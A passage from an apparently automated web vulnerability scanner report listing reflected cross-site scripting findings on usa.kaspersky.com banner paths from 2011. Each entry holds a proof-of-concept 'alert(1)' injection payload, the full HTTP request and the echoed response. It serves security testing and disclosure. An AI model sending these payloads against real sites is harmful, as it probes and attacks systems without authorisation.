<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:og="ht
...[SNIP]...
s.pageName;
s.channel = s.prop1;
s.server=location.hostname;
s.pageName="404:http://usa.kaspersky.com/sites/usa.kaspersky.com/files/home-page-banners/10-KSP-0015-PURE-homepage-banner-updated-eng.swf6a7f7"-alert(1)-"2f806a7d1f2";

/************* DO NOT ALTER ANYTHING BELOW THIS LINE ! **************/
var s_code=s.t();if(s_code)document.write(s_code)//-->
...[SNIP]...

1.33. http://usa.kaspersky.com/sites/usa.kaspersky.com/files/home-page-banners/2012_launch_promo_frame.swf [REST URL parameter 5]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://usa.kaspersky.com
Path:   /sites/usa.kaspersky.com/files/home-page-banners/2012_launch_promo_frame.swf

Issue detail

The value of REST URL parameter 5 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload e1c44"-alert(1)-"37a9394198f was submitted in the REST URL parameter 5. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /sites/usa.kaspersky.com/files/home-page-banners/2012_launch_promo_frame.swfe1c44"-alert(1)-"37a9394198f HTTP/1.1
Host: usa.kaspersky.com
Proxy-Connection: keep-alive
Referer: http://usa.kaspersky.com/sites/usa.kaspersky.com/files/home-page-banners/loader_2012_launch_promo_frame.swf
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: s_cc=true; gpv_pageName=Homepage; s_nr=1315138484684-New; s_sq=%5B%5BB%5D%5D; __utma=205612169.764119128.1315138485.1315138485.1315138485.1; __utmb=205612169.1.10.1315138485; __utmc=205612169; __utmz=205612169.1315138485.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_vi=[CS]v1|2731B5C785013339-4000010CE01E480D[CE]; slider_session=yes

Response

HTTP/1.1 404 Not Found
Server: Apache
Cache-Control: public, max-age=21600
Last-Modified: Sun, 04 Sep 2011 12:22:49 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1315138969"
Content-Type: text/html; charset=utf-8
Content-Length: 33294
Date: Sun, 04 Sep 2011 12:22:52 GMT
X-Varnish: 1163050877
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Varnish-Cache: MISS

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:og="ht
...[SNIP]...
.pageName;
s.hier1 = s.pageName;
s.channel = s.prop1;
s.server=location.hostname;
s.pageName="404:http://usa.kaspersky.com/sites/usa.kaspersky.com/files/home-page-banners/2012_launch_promo_frame.swfe1c44"-alert(1)-"37a9394198f";

/************* DO NOT ALTER ANYTHING BELOW THIS LINE ! **************/
var s_code=s.t();if(s_code)document.write(s_code)//-->
...[SNIP]...

1.34. http://usa.kaspersky.com/sites/usa.kaspersky.com/files/home-page-banners/2012_launch_promo_frame.swf [REST URL parameter 5]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://usa.kaspersky.com
Path:   /sites/usa.kaspersky.com/files/home-page-banners/2012_launch_promo_frame.swf

Issue detail

The value of REST URL parameter 5 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 4525b"><script>alert(1)</script>9a663ec799f was submitted in the REST URL parameter 5. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /sites/usa.kaspersky.com/files/home-page-banners/2012_launch_promo_frame.swf4525b"><script>alert(1)</script>9a663ec799f HTTP/1.1
Host: usa.kaspersky.com
Proxy-Connection: keep-alive
Referer: http://usa.kaspersky.com/sites/usa.kaspersky.com/files/home-page-banners/loader_2012_launch_promo_frame.swf
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: s_cc=true; gpv_pageName=Homepage; s_nr=1315138484684-New; s_sq=%5B%5BB%5D%5D; __utma=205612169.764119128.1315138485.1315138485.1315138485.1; __utmb=205612169.1.10.1315138485; __utmc=205612169; __utmz=205612169.1315138485.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_vi=[CS]v1|2731B5C785013339-4000010CE01E480D[CE]; slider_session=yes

Response

HTTP/1.1 404 Not Found
Server: Apache
Cache-Control: public, max-age=21600
Last-Modified: Sun, 04 Sep 2011 12:22:30 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1315138950"
Content-Type: text/html; charset=utf-8
Content-Length: 35966
Date: Sun, 04 Sep 2011 12:22:33 GMT
X-Varnish: 1163050341
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Varnish-Cache: MISS

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:og="ht
...[SNIP]...
<link rel="canonical" href="http://usa.kaspersky.com/sites/usa.kaspersky.com/files/home-page-banners/2012_launch_promo_frame.swf4525b"><script>alert(1)</script>9a663ec799f" />
...[SNIP]...

1.35. http://usa.kaspersky.com/sites/usa.kaspersky.com/files/home-page-banners/PURE_summer_promo_frame.swf [REST URL parameter 5]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://usa.kaspersky.com
Path:   /sites/usa.kaspersky.com/files/home-page-banners/PURE_summer_promo_frame.swf

Issue detail

The value of REST URL parameter 5 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 4c23b"-alert(1)-"10b2e9cbe39 was submitted in the REST URL parameter 5. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /sites/usa.kaspersky.com/files/home-page-banners/PURE_summer_promo_frame.swf4c23b"-alert(1)-"10b2e9cbe39 HTTP/1.1
Host: usa.kaspersky.com
Proxy-Connection: keep-alive
Referer: http://usa.kaspersky.com/sites/usa.kaspersky.com/files/home-page-banners/loader_PURE_summer_promo_frame.swf
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: s_cc=true; gpv_pageName=Homepage; s_nr=1315138484684-New; s_sq=%5B%5BB%5D%5D; __utma=205612169.764119128.1315138485.1315138485.1315138485.1; __utmb=205612169.1.10.1315138485; __utmc=205612169; __utmz=205612169.1315138485.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_vi=[CS]v1|2731B5C785013339-4000010CE01E480D[CE]; slider_session=yes

Response

HTTP/1.1 404 Not Found
Server: Apache
Cache-Control: public, max-age=21600
Last-Modified: Sun, 04 Sep 2011 12:24:31 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1315139071"
Content-Type: text/html; charset=utf-8
Content-Length: 33377
Date: Sun, 04 Sep 2011 12:24:38 GMT
X-Varnish: 1163053672
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Varnish-Cache: MISS

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:og="ht
...[SNIP]...
.pageName;
s.hier1 = s.pageName;
s.channel = s.prop1;
s.server=location.hostname;
s.pageName="404:http://usa.kaspersky.com/sites/usa.kaspersky.com/files/home-page-banners/PURE_summer_promo_frame.swf4c23b"-alert(1)-"10b2e9cbe39";

/************* DO NOT ALTER ANYTHING BELOW THIS LINE ! **************/
var s_code=s.t();if(s_code)document.write(s_code)//-->
...[SNIP]...

1.36. http://usa.kaspersky.com/sites/usa.kaspersky.com/files/home-page-banners/business_launch_frame.swf [REST URL parameter 5]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://usa.kaspersky.com
Path:   /sites/usa.kaspersky.com/files/home-page-banners/business_launch_frame.swf

Issue detail

The value of REST URL parameter 5 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 86da1"-alert(1)-"46ad7e8ba57 was submitted in the REST URL parameter 5. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /sites/usa.kaspersky.com/files/home-page-banners/business_launch_frame.swf86da1"-alert(1)-"46ad7e8ba57 HTTP/1.1
Host: usa.kaspersky.com
Proxy-Connection: keep-alive
Referer: http://usa.kaspersky.com/sites/usa.kaspersky.com/files/home-page-banners/loader_business_launch_frame.swf
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: s_cc=true; gpv_pageName=Homepage; s_nr=1315138484684-New; s_sq=%5B%5BB%5D%5D; __utma=205612169.764119128.1315138485.1315138485.1315138485.1; __utmb=205612169.1.10.1315138485; __utmc=205612169; __utmz=205612169.1315138485.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_vi=[CS]v1|2731B5C785013339-4000010CE01E480D[CE]; slider_session=yes

Response

HTTP/1.1 404 Not Found
Server: Apache
Cache-Control: public, max-age=21600
Last-Modified: Sun, 04 Sep 2011 12:25:43 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1315139143"
Content-Type: text/html; charset=utf-8
Content-Length: 40014
Date: Sun, 04 Sep 2011 12:25:58 GMT
X-Varnish: 1163055629
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Varnish-Cache: MISS

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:og="ht
...[SNIP]...
s.pageName;
s.hier1 = s.pageName;
s.channel = s.prop1;
s.server=location.hostname;
s.pageName="404:http://usa.kaspersky.com/sites/usa.kaspersky.com/files/home-page-banners/business_launch_frame.swf86da1"-alert(1)-"46ad7e8ba57";

/************* DO NOT ALTER ANYTHING BELOW THIS LINE ! **************/
var s_code=s.t();if(s_code)document.write(s_code)//-->
...[SNIP]...

1.37. http://usa.kaspersky.com/sites/usa.kaspersky.com/files/home-page-banners/business_launch_frame.swf [REST URL parameter 5]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://usa.kaspersky.com
Path:   /sites/usa.kaspersky.com/files/home-page-banners/business_launch_frame.swf

Issue detail

The value of REST URL parameter 5 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 5fc41"><script>alert(1)</script>e87ad2737ca was submitted in the REST URL parameter 5. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /sites/usa.kaspersky.com/files/home-page-banners/business_launch_frame.swf5fc41"><script>alert(1)</script>e87ad2737ca HTTP/1.1
Host: usa.kaspersky.com
Proxy-Connection: keep-alive
Referer: http://usa.kaspersky.com/sites/usa.kaspersky.com/files/home-page-banners/loader_business_launch_frame.swf
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: s_cc=true; gpv_pageName=Homepage; s_nr=1315138484684-New; s_sq=%5B%5BB%5D%5D; __utma=205612169.764119128.1315138485.1315138485.1315138485.1; __utmb=205612169.1.10.1315138485; __utmc=205612169; __utmz=205612169.1315138485.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_vi=[CS]v1|2731B5C785013339-4000010CE01E480D[CE]; slider_session=yes

Response

HTTP/1.1 404 Not Found
Server: Apache
Cache-Control: public, max-age=21600
Last-Modified: Sun, 04 Sep 2011 12:25:10 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1315139110"
Content-Type: text/html; charset=utf-8
Content-Length: 35768
Date: Sun, 04 Sep 2011 12:25:23 GMT
X-Varnish: 1163054728
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Varnish-Cache: MISS

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:og="ht
...[SNIP]...
<link rel="canonical" href="http://usa.kaspersky.com/sites/usa.kaspersky.com/files/home-page-banners/business_launch_frame.swf5fc41"><script>alert(1)</script>e87ad2737ca" />
...[SNIP]...

1.38. http://usa.kaspersky.com/sites/usa.kaspersky.com/files/home-page-banners/loader_2012_launch_promo_frame.swf [REST URL parameter 5]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://usa.kaspersky.com
Path:   /sites/usa.kaspersky.com/files/home-page-banners/loader_2012_launch_promo_frame.swf

Issue detail

The value of REST URL parameter 5 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 5a3de"-alert(1)-"0ee1a331aeb was submitted in the REST URL parameter 5. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /sites/usa.kaspersky.com/files/home-page-banners/loader_2012_launch_promo_frame.swf5a3de"-alert(1)-"0ee1a331aeb HTTP/1.1
Host: usa.kaspersky.com
Proxy-Connection: keep-alive
Referer: http://usa.kaspersky.com/?domain=kapersky.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: s_cc=true; gpv_pageName=Homepage; s_nr=1315138484684-New; s_sq=%5B%5BB%5D%5D; __utma=205612169.764119128.1315138485.1315138485.1315138485.1; __utmb=205612169.1.10.1315138485; __utmc=205612169; __utmz=205612169.1315138485.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none)

Response

HTTP/1.1 404 Not Found
Server: Apache
Cache-Control: public, max-age=21600
Last-Modified: Sun, 04 Sep 2011 12:22:06 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1315138926"
Content-Type: text/html; charset=utf-8
Content-Length: 30989
Date: Sun, 04 Sep 2011 12:22:09 GMT
X-Varnish: 1163049623
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Varnish-Cache: MISS

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:og="ht
...[SNIP]...
me;
s.hier1 = s.pageName;
s.channel = s.prop1;
s.server=location.hostname;
s.pageName="404:http://usa.kaspersky.com/sites/usa.kaspersky.com/files/home-page-banners/loader_2012_launch_promo_frame.swf5a3de"-alert(1)-"0ee1a331aeb";

/************* DO NOT ALTER ANYTHING BELOW THIS LINE ! **************/
var s_code=s.t();if(s_code)document.write(s_code)//-->
...[SNIP]...

1.39. http://usa.kaspersky.com/sites/usa.kaspersky.com/files/home-page-banners/loader_2012_launch_promo_frame.swf [REST URL parameter 5]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://usa.kaspersky.com
Path:   /sites/usa.kaspersky.com/files/home-page-banners/loader_2012_launch_promo_frame.swf

Issue detail

The value of REST URL parameter 5 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 2ef39"><script>alert(1)</script>823d4acb16c was submitted in the REST URL parameter 5. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /sites/usa.kaspersky.com/files/home-page-banners/loader_2012_launch_promo_frame.swf2ef39"><script>alert(1)</script>823d4acb16c HTTP/1.1
Host: usa.kaspersky.com
Proxy-Connection: keep-alive
Referer: http://usa.kaspersky.com/?domain=kapersky.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: s_cc=true; gpv_pageName=Homepage; s_nr=1315138484684-New; s_sq=%5B%5BB%5D%5D; __utma=205612169.764119128.1315138485.1315138485.1315138485.1; __utmb=205612169.1.10.1315138485; __utmc=205612169; __utmz=205612169.1315138485.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none)

Response

HTTP/1.1 404 Not Found
Server: Apache
Cache-Control: public, max-age=21600
Last-Modified: Sun, 04 Sep 2011 12:21:58 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1315138918"
Content-Type: text/html; charset=utf-8
Content-Length: 33432
Date: Sun, 04 Sep 2011 12:22:00 GMT
X-Varnish: 1163049311
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Varnish-Cache: MISS

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:og="ht
...[SNIP]...
<link rel="canonical" href="http://usa.kaspersky.com/sites/usa.kaspersky.com/files/home-page-banners/loader_2012_launch_promo_frame.swf2ef39"><script>alert(1)</script>823d4acb16c" />
...[SNIP]...

1.40. http://usa.kaspersky.com/sites/usa.kaspersky.com/files/home-page-banners/loader_PURE_summer_promo_frame.swf [REST URL parameter 5]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://usa.kaspersky.com
Path:   /sites/usa.kaspersky.com/files/home-page-banners/loader_PURE_summer_promo_frame.swf

Issue detail

The value of REST URL parameter 5 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 7fd35"-alert(1)-"dcc2d772d0d was submitted in the REST URL parameter 5. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /sites/usa.kaspersky.com/files/home-page-banners/7fd35"-alert(1)-"dcc2d772d0d HTTP/1.1
Host: usa.kaspersky.com
Proxy-Connection: keep-alive
Referer: http://usa.kaspersky.com/?domain=kapersky.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: s_cc=true; gpv_pageName=Homepage; s_nr=1315138484684-New; s_sq=%5B%5BB%5D%5D; __utma=205612169.764119128.1315138485.1315138485.1315138485.1; __utmb=205612169.1.10.1315138485; __utmc=205612169; __utmz=205612169.1315138485.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_vi=[CS]v1|2731B5C785013339-4000010CE01E480D[CE]; slider_session=yes

Response

HTTP/1.1 404 Not Found
Server: Apache
Cache-Control: public, max-age=21600
Last-Modified: Sun, 04 Sep 2011 12:23:01 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1315138981"
Content-Type: text/html; charset=utf-8
Content-Length: 40042
Date: Sun, 04 Sep 2011 12:23:04 GMT
X-Varnish: 1163051210
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Varnish-Cache: MISS

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:og="ht
...[SNIP]...
me = s.prop4;
s.eVar44 = s.pageName;
s.hier1 = s.pageName;
s.channel = s.prop1;
s.server=location.hostname;
s.pageName="404:http://usa.kaspersky.com/sites/usa.kaspersky.com/files/home-page-banners/7fd35"-alert(1)-"dcc2d772d0d";

/************* DO NOT ALTER ANYTHING BELOW THIS LINE ! **************/
var s_code=s.t();if(s_code)document.write(s_code)//-->
...[SNIP]...

1.41. http://usa.kaspersky.com/sites/usa.kaspersky.com/files/home-page-banners/loader_PURE_summer_promo_frame.swf [REST URL parameter 5]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://usa.kaspersky.com
Path:   /sites/usa.kaspersky.com/files/home-page-banners/loader_PURE_summer_promo_frame.swf

Issue detail

The value of REST URL parameter 5 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 2ae0a"><script>alert(1)</script>bf723308b25 was submitted in the REST URL parameter 5. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /sites/usa.kaspersky.com/files/home-page-banners/2ae0a"><script>alert(1)</script>bf723308b25 HTTP/1.1
Host: usa.kaspersky.com
Proxy-Connection: keep-alive
Referer: http://usa.kaspersky.com/?domain=kapersky.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: s_cc=true; gpv_pageName=Homepage; s_nr=1315138484684-New; s_sq=%5B%5BB%5D%5D; __utma=205612169.764119128.1315138485.1315138485.1315138485.1; __utmb=205612169.1.10.1315138485; __utmc=205612169; __utmz=205612169.1315138485.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_vi=[CS]v1|2731B5C785013339-4000010CE01E480D[CE]; slider_session=yes

Response

HTTP/1.1 404 Not Found
Server: Apache
Cache-Control: public, max-age=21600
Last-Modified: Sun, 04 Sep 2011 12:22:46 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1315138966"
Content-Type: text/html; charset=utf-8
Content-Length: 36457
Date: Sun, 04 Sep 2011 12:22:51 GMT
X-Varnish: 1163050813
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Varnish-Cache: MISS

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:og="ht
...[SNIP]...
<link rel="canonical" href="http://usa.kaspersky.com/sites/usa.kaspersky.com/files/home-page-banners/2ae0a"><script>alert(1)</script>bf723308b25" />
...[SNIP]...

1.42. http://usa.kaspersky.com/sites/usa.kaspersky.com/files/home-page-banners/loader_business_launch_frame.swf [REST URL parameter 5]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://usa.kaspersky.com
Path:   /sites/usa.kaspersky.com/files/home-page-banners/loader_business_launch_frame.swf

Issue detail

The value of REST URL parameter 5 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 53d42"><script>alert(1)</script>5b132f4cd0b was submitted in the REST URL parameter 5. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /sites/usa.kaspersky.com/files/home-page-banners/loader_business_launch_frame.swf53d42"><script>alert(1)</script>5b132f4cd0b HTTP/1.1
Host: usa.kaspersky.com
Proxy-Connection: keep-alive
Referer: http://usa.kaspersky.com/?domain=kapersky.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: s_cc=true; gpv_pageName=Homepage; s_nr=1315138484684-New; s_sq=%5B%5BB%5D%5D; __utma=205612169.764119128.1315138485.1315138485.1315138485.1; __utmb=205612169.1.10.1315138485; __utmc=205612169; __utmz=205612169.1315138485.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_vi=[CS]v1|2731B5C785013339-4000010CE01E480D[CE]; slider_session=yes

Response

HTTP/1.1 404 Not Found
Server: Apache
Cache-Control: public, max-age=21600
Last-Modified: Sun, 04 Sep 2011 12:23:53 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1315139033"
Content-Type: text/html; charset=utf-8
Content-Length: 35810
Date: Sun, 04 Sep 2011 12:24:01 GMT
X-Varnish: 1163052725
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Varnish-Cache: MISS

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:og="ht
...[SNIP]...
<link rel="canonical" href="http://usa.kaspersky.com/sites/usa.kaspersky.com/files/home-page-banners/loader_business_launch_frame.swf53d42"><script>alert(1)</script>5b132f4cd0b" />
...[SNIP]...

1.43. http://usa.kaspersky.com/sites/usa.kaspersky.com/files/home-page-banners/loader_business_launch_frame.swf [REST URL parameter 5]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://usa.kaspersky.com
Path:   /sites/usa.kaspersky.com/files/home-page-banners/loader_business_launch_frame.swf

Issue detail

The value of REST URL parameter 5 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 93a5a"-alert(1)-"05956d8a4dd was submitted in the REST URL parameter 5. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /sites/usa.kaspersky.com/files/home-page-banners/loader_business_launch_frame.swf93a5a"-alert(1)-"05956d8a4dd HTTP/1.1
Host: usa.kaspersky.com
Proxy-Connection: keep-alive
Referer: http://usa.kaspersky.com/?domain=kapersky.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: s_cc=true; gpv_pageName=Homepage; s_nr=1315138484684-New; s_sq=%5B%5BB%5D%5D; __utma=205612169.764119128.1315138485.1315138485.1315138485.1; __utmb=205612169.1.10.1315138485; __utmc=205612169; __utmz=205612169.1315138485.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_vi=[CS]v1|2731B5C785013339-4000010CE01E480D[CE]; slider_session=yes

Response

HTTP/1.1 404 Not Found
Server: Apache
Cache-Control: public, max-age=21600
Last-Modified: Sun, 04 Sep 2011 12:24:18 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1315139058"
Content-Type: text/html; charset=utf-8
Content-Length: 32261
Date: Sun, 04 Sep 2011 12:24:22 GMT
X-Varnish: 1163053367
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Varnish-Cache: MISS

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:og="ht
...[SNIP]...
Name;
